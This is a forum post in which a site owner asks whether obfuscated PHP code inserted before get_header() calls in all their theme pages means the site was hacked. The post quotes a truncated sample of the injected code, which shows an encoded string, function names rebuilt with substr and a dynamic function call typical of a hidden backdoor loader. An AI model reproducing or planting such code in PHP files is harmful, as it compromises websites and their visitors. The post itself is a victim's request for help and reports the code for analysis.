csinia on "Code inserted into php files, was I hacked?"

In seemingly all my PHP pages, what used to be :

<?php get_header(); ?>

Has the following PHP code inserted before what is above :

<?php $ksyusvtspe = ':!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWSFT%x5c%x7860%x5c%x78x5c%x782f2986+7**^%x5c%x782f%x5c%x7825r%x5c%x7878<~825)!>>%x5c%x7822!ftm7-UVPFNJU,6<*27-SFGTOBSU"%x2f%50%x2e%52%x29%57%x65","qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdosv%x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%x7825)uq5c%x7825w%x5c%x7860Tx78257%x5c%x..... it goes on a long way ending with...... $eeuxovhjiw=substr($ksyusvtspe,(49243-39130),(51-39)); $eeuxovhjiw($cldgokzydb, $rnaevocehn, NULL); $eeuxovhjiw=$rnaevocehn; $eeuxovhjiw=(514-393); $ksyusvtspe=$eeuxovhjiw-1; ?>

I have added quite a few plug ins, so I'm nervous about deleting the code without knowing what it is. Any ideas?